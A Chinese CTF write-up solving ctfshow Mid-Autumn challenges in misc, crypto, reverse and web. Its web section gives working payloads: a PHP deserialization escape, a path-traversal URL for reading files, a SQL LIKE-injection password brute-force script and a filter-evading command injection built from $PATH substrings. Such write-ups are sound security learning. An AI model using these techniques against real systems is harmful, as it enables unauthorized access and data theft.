文章目錄
- Misc
- 附加misc_問青天
- misc2_洗寰瀛
- Crypto
- crypto1_中秋月
- crypto2_月自圓
- crypto3_多少離懷
- Reverse
- re2_歸心
- Web
- web1_此夜圓
- web2_故人心
- web3_莫負嬋娟
Misc
附加misc_問青天
下載附件解壓得到一個welcome.gif，
直接foremost工具分離得到一個加密了的zip檔案，然后一開始爆破啥的都試了都解不出來，后來出了hint
小姐姐聲音是aiff格式
百度找到aiff檔案頭為464f524d00，直接到welcome.gif檔案里找，不知道檔案尾沒關系，將之后的所有內容全部復制出來保存為1.aiff，
打開聽了10多遍終于聽清了小姐姐說的是歡迎ctfshow的小哥哥來玩，
將此作為壓縮包的密碼解壓得到一張圖片c.png，
觀察了一下，發現一圈都是由-|組成的，且都是8位(除了第三個是7位，感覺是群主不小心少畫了)，
嘗試了一下，將-當作0，| 當作1，
那么最上面的那個就是01100110，十進制是102，對應ascii是f；
第二個01101100對應ascii是l；
第三個只有7位，是01100000或01100001，而01100001對應ascii是a，
其實已經出來了，就是二進制轉字符，腳本如下：
s = '01100110 01101100 01100001 01100111 01111011 01100011 01110100 01100110 01011111 01110011 01101000 01101111 01110111 01011111 01101111 01100110 01011111 01100111 01101111 01101100 01100100 01011111 01110010 01100101 01100011 01101111 01110010 01100100 01111101'
s_list = s.split(' ')
flag = ''
for i in range(len(s_list)):
flag += chr(int(s_list[i],2))
print(flag)
flag為：flag{ctf_show_of_gold_record}，
misc2_洗寰瀛
多虧出題人hint給的多
1. 步驟1預計時間為50分鐘
2. zip明文攻擊
3. https://github.com/kimci86/bkcrack/blob/master/example/tutorial.md
4. flag[0:9]=='flag{TriG' 可能字體檔案有問題
zip明文攻擊詳解參考文章：加密Zip包（Deflate + ZipCrypto）攻擊小結，
使用工具：rbkcrack，
因為壓縮包里就一張Triglavian.png圖片，而png圖片的開頭有16位元組是不變的，為89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52，
這里我們需要自己創建一個png_header.png檔案，內容就是由那16位元組組成，
開始攻擊
> rbkcrack.exe -C Triglavian.zip -c Triglavian.png -p PNG_header.png
-C 要攻擊的壓縮包
-c 要攻擊的壓縮包里面的檔案
-p 剛創建的明文檔案名
等了一個小時左右吧，能破解得到ZipCrypto的內部的三個key：be056038 0a143c0c 1ea08ca5，
用這三個key來解碼檔案
> rbkcrack.exe -C Triglavian.zip -c Triglavian.png -k be056038 0a143c0c 1ea08ca5 -d Triglavian.png
-C 要攻擊的壓縮包
-c 要攻擊的壓縮包里面的檔案
-k 剛生成的三個key
-d 最侄訓原的檔案名
就會在同路徑下得到圖片Triglavian.png
發現紅色字體很奇怪，長得就像是flag的變形版，
百度搜索Triglavian，發現是深淵三神裔字體(Triglavian fonts)，
圖片下載鏈接
字體下載鏈接
一一對照的就能得出flag：flag{TriG1aviAn_Techn0lo9y}，
Crypto
crypto1_中秋月
下載附件得到內容
fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu
自動鑰匙⊕
明文全大寫，得到后轉小寫，并以_連接單詞，
題目hint
某古典密碼
經此古典密碼加密后，密文還是大寫
該古典密碼的密鑰形式：keyword+plaintext (+plaintext...+plaintext)
其實這道題一開始我就找到了是Autokey密碼，也用了網上現成的腳本break_autokey.py，
一些相關模塊地址：http://www.practicalcryptography.com/cryptanalysis/text-characterisation/quadgrams/#a-python-implementation，
單獨下載：trigrams.txt、quadgrams.txt、ngram_score.py，
但是沒跑出來，
一開始也一直不知道異或⊕的用處，后來看到群里阿貍大佬發的截圖，看出加密的字串不是一開始給的那串，懷疑是不是異或了什么東西，
然后就自己嘗試異或一下，腳本：
s='fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu'
for i in range(255):
res=''
for j in range(0,len(s)):
temp = ord(s[j])^i
if 65<=temp<=90 or 97<=temp<=122: #由大小寫字母構成
res += (chr(temp))
if len(res)==len(s):
print(res)
得到
ylltmfzqitrausdzulbuhyselqoxrvynddudcljwemuooqgcnivgkahwj
YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ
然后再次嘗試使用break_autokey.py：
from ngram_score import ngram_score
from pycipher import Autokey
import re
from itertools import permutations
qgram = ngram_score('quadgrams.txt')
trigram = ngram_score('trigrams.txt')
ctext = 'YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ'
ctext = re.sub(r'[^A-Z]','',ctext.upper())
# keep a list of the N best things we have seen, discard anything else
class nbest(object):
def __init__(self,N=1000):
self.store = []
self.N = N
def add(self,item):
self.store.append(item)
self.store.sort(reverse=True)
self.store = self.store[:self.N]
def __getitem__(self,k):
return self.store[k]
def __len__(self):
return len(self.store)
#init
N=100
for KLEN in range(8,20):
rec = nbest(N)
for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3):
key = ''.join(i) + 'A'*(KLEN-len(i))
pt = Autokey(key).decipher(ctext)
score = 0
for j in range(0,len(ctext),KLEN):
score += trigram.score(pt[j:j+3])
rec.add((score,''.join(i),pt[:30]))
next_rec = nbest(N)
for i in range(0,KLEN-3):
for k in range(N):
for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
key = rec[k][1] + c
fullkey = key + 'A'*(KLEN-len(key))
pt = Autokey(fullkey).decipher(ctext)
score = 0
for j in range(0,len(ctext),KLEN):
score += qgram.score(pt[j:j+len(key)])
next_rec.add((score,key,pt[:30]))
rec = next_rec
next_rec = nbest(N)
bestkey = rec[0][1]
pt = Autokey(bestkey).decipher(ctext)
bestscore = qgram.score(pt)
for i in range(N):
pt = Autokey(rec[i][1]).decipher(ctext)
score = qgram.score(pt)
if score > bestscore:
bestkey = rec[i][1]
bestscore = score
print(bestscore,'autokey, klen',KLEN,':"'+bestkey+'",',Autokey(bestkey).decipher(ctext).lower())
得到
-306.4154316738783 autokey, klen 8 :"KYIFZYWC", ondonhdougomhlalafnianstllbprigusstolddcmubadndaboughnewi
-290.9667615558167 autokey, klen 9 :"NHSZZCZEI", letundamainhafazilthaynemidekvaazrmaybowendcosforeidimprv
-252.5124922641369 autokey, klen 10 :"KEYFORFLAG", ohnoyoufindtheflagtheflagforyouisdoyoulikeclassicalcipher
-272.6830354332479 autokey, klen 11 :"QJTTBDRTGFE", icsalcixconssadosdestlamlnaforgusdispleingawlioncenteallb
-284.1217857757366 autokey, klen 12 :"ELAJWLRDEVRL", ualkquineyapassperthdasplywinefgadcornnoripioneowvistssov
^C
當klen為10時，ohnoyoufindtheflagtheflagforyouisdoyoulikeclassicalcipher，
結合提示flag為：flag{do_you_like_classical_cipher}，
crypto2_月自圓
原始碼檔案Baby(Don't)Cry.py：
# -*- coding:utf-8 -*-
#Author: Lazzaro
from itertools import *
from random import *
from string import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
m = '****************************************************flag{*************}'
assert(len(m)==71)
a = randint(50,100)
#隨機產生四位大寫字母
salt = ''.join(sample(ascii_uppercase, 4))
#迭代
si = cycle(salt.lower())
c=encrypt(m, a, si)
print(c)
#3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a
明文長度為71位，加密后為142位，
這里由于a不大，salt長度也不長，且明文m中存在flag，正好可以用這幾位去爆破出a和salt，
flag在明文m中的位置是53，對應密文c中的位置是105，flag出現的位置正好對應salt的位置，
f ? 1c
l ? 29
a ? 56
g ? 66
寫腳本爆出a、salt：
from itertools import *
from random import *
from string import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
for i in range(50,100):
for j in ascii_uppercase:
si = cycle(j.lower())
# if encrypt('f', i, si)=='1c':
# print('i =',i,'\tj =',j)
if encrypt('l', i, si)=='29':
print('i =',i,'\tj =',j)
結果：
滿足encrypt('f', i, si)=='1c'的結果：
i = 52 j = D
i = 57 j = F
i = 62 j = H
i = 67 j = J
i = 72 j = L
i = 77 j = N
i = 82 j = P
i = 87 j = R
i = 92 j = T
i = 97 j = V
滿足encrypt('l', i, si)=='29'的結果：
i = 54 j = A
i = 55 j = U
i = 61 j = M
i = 67 j = E
i = 68 j = Y
i = 74 j = Q
i = 80 j = I
i = 86 j = A
i = 87 j = U
i = 93 j = M
i = 99 j = E
相同的i只有67，說明亂數a=67，
然后拿著a去繼續爆salt的后兩位
if encrypt('a', 67, si)=='56':
print('j =',j)
if encrypt('g', 67, si)=='66':
print('j =',j)
最終得出salt='JESQ'，
知道了隨機出a和salt，這道題就出來了
from itertools import *
from random import *
from string import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(si)) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
salt = 'JESQ'
si = cycle(salt.lower())
c = '3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a'
res = ''
for i in range(0,len(c),2):
ssi = next(si)
for j in range(32,127):
if encrypt(chr(j),67,ssi)==c[i]+c[i+1]:
res += chr(j)
print(res)
得到最終結果：
now_is_7fad9fcb-d361-4964-821c-177c906b8d20_flag_is_flag{md5(now-salt)}
7fad9fcb-d361-4964-821c-177c906b8d20-JESQ經md5加密后為1efce62ee0a96e39149e2179db1dd04c
最終flag：flag{1efce62ee0a96e39149e2179db1dd04c}，
crypto3_多少離懷
# -*- coding:utf-8 -*-
#Author: Lazzaro
from Crypto.Util.number import getPrime,isPrime
from math import gamma
import random
def nextPrime(n):
n += 2 if n & 1 else 1
while not isPrime(n):
n += 2
return n
def getNewPrime():
A = getPrime(512)
B = nextPrime(A - random.randint(1e4,1e5))
return nextPrime(gamma(B+2)%A)
p = getNewPrime()
q = getNewPrime()
r = getNewPrime()
n = p * q ** 2 * r ** 3
e = 0x10001
c = pow(flag,e,n)
#pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789
#pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147
#qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291
#qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457
#n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119
#c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374
hint
注意伽馬函式Γ(x)和階乘x!的關系式
威爾遜定理
要不是?Lazzaro?師傅放出這些hint，我一個半吊子肯定做不來這道題，
知識點
#伽馬函式Γ(x)和階乘x!的關系式
gamma(n)=(n-1)!
#威爾遜定理
當且僅當p為素數時：(p-1)! ≡ -1 (mod p)
推論：(p-2)! ≡ 1 (mod p)
#歐拉函式
若n是質數p的k次冪，phi = p**k - p**(k-1)
回到題目
我們需要求gamma(B+2)%A，根據伽馬函式Γ(x)和階乘x!的關系式可知(B+1)! % A，
而根據威爾遜定理可知(A-2)! % A = 1，
令x = (A-2)!/(B+1)!，y = (B+1)!，所以x * y ≡ 1 (mod A)，
而我們需要求的是y % A，y是x關于A的逆元，所以求x % A的逆元即可，
這里由于A、B相差還不到10萬，所以很容易求解出x % A，
# -*- coding:utf-8 -*-
#Author: airrudder
from Cryptodome.Util.number import getPrime,isPrime,long_to_bytes
from math import gamma
import random
import gmpy2
import binascii
def nextPrime(n):
n += 2 if n & 1 else 1
while not isPrime(n):
n += 2
return n
def getNewPrime():
A = getPrime(512)
B = nextPrime(A - random.randint(1e4,1e5))
return nextPrime(gamma(B+2)%A)
pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789
pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147
qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291
qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457
e = 0x10001
n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119
c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374
#求 ((pA-2)!/(pB+1)!)%pA 的逆元，等于((pB+1)!)%pA ，等于gamma(pB+2)%pA
p = 1
max = (pA-2) - (pB+1)
for i in range(0,max):
p = p * gmpy2.invert((pA-i-2),pA) % pA
p = nextPrime(p)
#求 ((qA-2)!/(qB+1)!)%qA 的逆元，等于((qB+1)!)%qA ，等于gamma(qB+2)%qA
q = 1
max = (qA-2) - (qB+1)
for i in range(0,max):
q = q * gmpy2.invert((qA-i-2),qA) % qA
q = nextPrime(q)
r = gmpy2.iroot(n/(p*q**2),3)
print(r)
print('p =',p)
print('q =',q)
print('r =',r[0])
phi = (p-1)*(q**2-q)*(r[0]**3-r[0]**2)
d = gmpy2.invert(e,phi)
m = pow(c, d, n)
print(long_to_bytes(m))
flag：flag{N0w_U_knOw_how_70_u5E_W1lS0n'5_Th30r3m~}，
Reverse
re2_歸心
下載附件得到readme,exe，提示
你應該見過python代碼打包成的exe，猜猜這是什么語言
本人是不會玩逆向的，但是看到這種提示，感覺是可以用工具直接反編譯成源代碼的感覺，
用IDA打開并按Shift+F12查看字串視窗，可以看到很多和java有關的字符
百度了一下exe 反編譯 java，發現說exe4j只是將java程式，使用自己的方式打包了一下而已，所以運行的時候還是會轉成jar來運行，也就是運行readme.exe會自動生成一個readme.jar，
直接使用工具找到這個jar檔案
用jd-gui.jar反編譯打開
直接出flag：flag{You_Win_0nce_You_C_Me}，
Web
web1_此夜圓
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
這里由于只能get傳入一個1引數，最后經反序列化后password==='yu22x'就能拿到flag，
而1引數賦值給的是$uname，這里就涉及到了反序列化逃逸，可以參考羽師傅的文章：[0CTF 2016]piapiapia(反序列化逃逸)，
#示例：
$s = 'a:1:{i:0;s:3:"abc";}de";}';
var_dump(unserialize($s));
#得出
array(1) {
[0]=>
string(3) "abc"
}
也就是說，反序列化出來就會把后面的忽略掉，
此題默認password=1，反序列化后就會生成s:8:"password";i:1;，
而我們可以自己構造s:8:"password";s:5:"yu22x";，
嘗試一下在本地傳入Firebasky";s:8:"password";s:5:"yu22x";}
$uname='Firebasky";s:8:"password";s:5:"yu22x";}';
$password=1;
$ser=filter(serialize(new a($uname,$password)));
echo $ser;
序列化結果
O:1:"a":2:{s:5:"uname";s:39:"Firebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
這里由于我們傳入的字串有39位，把我們需要的password也給覆寫了
";s:8:"password";s:5:"yu22x";}的長度為30，而每輸入一個Firebasky被替換成Firebaskyup，長度保持不變，也就可以逃逸出2個字符，所以這里需要15個Firebasky就能逃逸出30個字符，
所以最終payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
源代碼
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差點點就成功了！';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一個都過不了還想要flag呀?!';
}
第一個都過不了還想要flag呀?!
題目hint
存在一個robots.txt
第一關
is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0
?a=1e-162，嘗試后發現數只要在-323到-162之間的都可以，
第二關
($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)))
跟以前的md5類似啊，用0e開頭的數，一次加密后也是0e的一個數和兩次加密后也是0e的數就可以，
后來還給了hint，訪問robots.txt，得到hinthint.txt，內容
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
腳本：
<?php
/* //直接爆破
for ($i=100000000; $i < 10000000000; $i++) {
$b=hash("md2", '0e'.$i);
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
*/
for ($i=0; $i < 999999; $i++) {
$b=hash("md2", '0e'.$i.'024452');
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i.'48399'));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
?>
能得到b=0e652024452，c=0e603448399，
第三關
php遇到不認識的協議就會當目錄處理，例如a://aaa/…/…/etc/passwd之類的，
url=a://ctfshow.com/../../../../../../../fl0g.txt
web3_莫負嬋娟
右鍵查看源代碼發現
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
看來是like注入了，
like模糊查詢可以使用%匹配多個字符，_匹配單個字符，
嘗試后發現%被過濾，不過下劃線(_)并沒有被過濾，
這里就需要猜測password的位數了，好家伙，竟然密碼有32位，如果小于或大于32個_都會報wrong username or password，只有正確匹配才會顯示I have filtered all the characters. Why can you come in? get out!
既然這樣，就可以爆破出密碼，
腳本
import requests
import string
strs = string.digits+string.ascii_letters
url = 'http://d274b648-0dad-4058-9b20-9a7a35424df5.chall.ctf.show/login.php'
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in strs:
password = pwd + j + (31-i)*'_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
密碼為67815b0c009ee970fe4014abaa3Fa6A0，
填入密碼來到/P1099.php界面，
Normal connection表示正常連接
Abnormal connection表示例外連接；
evil input表示被過濾了，
嘗試發現過濾了一堆，就連a都過濾了，那就FUZZ跑可顯示的字符，看看都過濾了什么
小寫字母全被過濾，大寫字母、數字、$、:沒被過濾，
linux里有一個環境變數$PATH，可以用它來構造小寫字母執行命令，
嘗試構造ls得到flag.php，
ip=0;${PATH:5:1}${PATH:2:1}
構造nl flag.php右鍵查看源代碼得到flag
ip=0;${PATH:14:1}${PATH:5:1} ????.???
轉載請注明出處，
回傳目錄
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標籤：python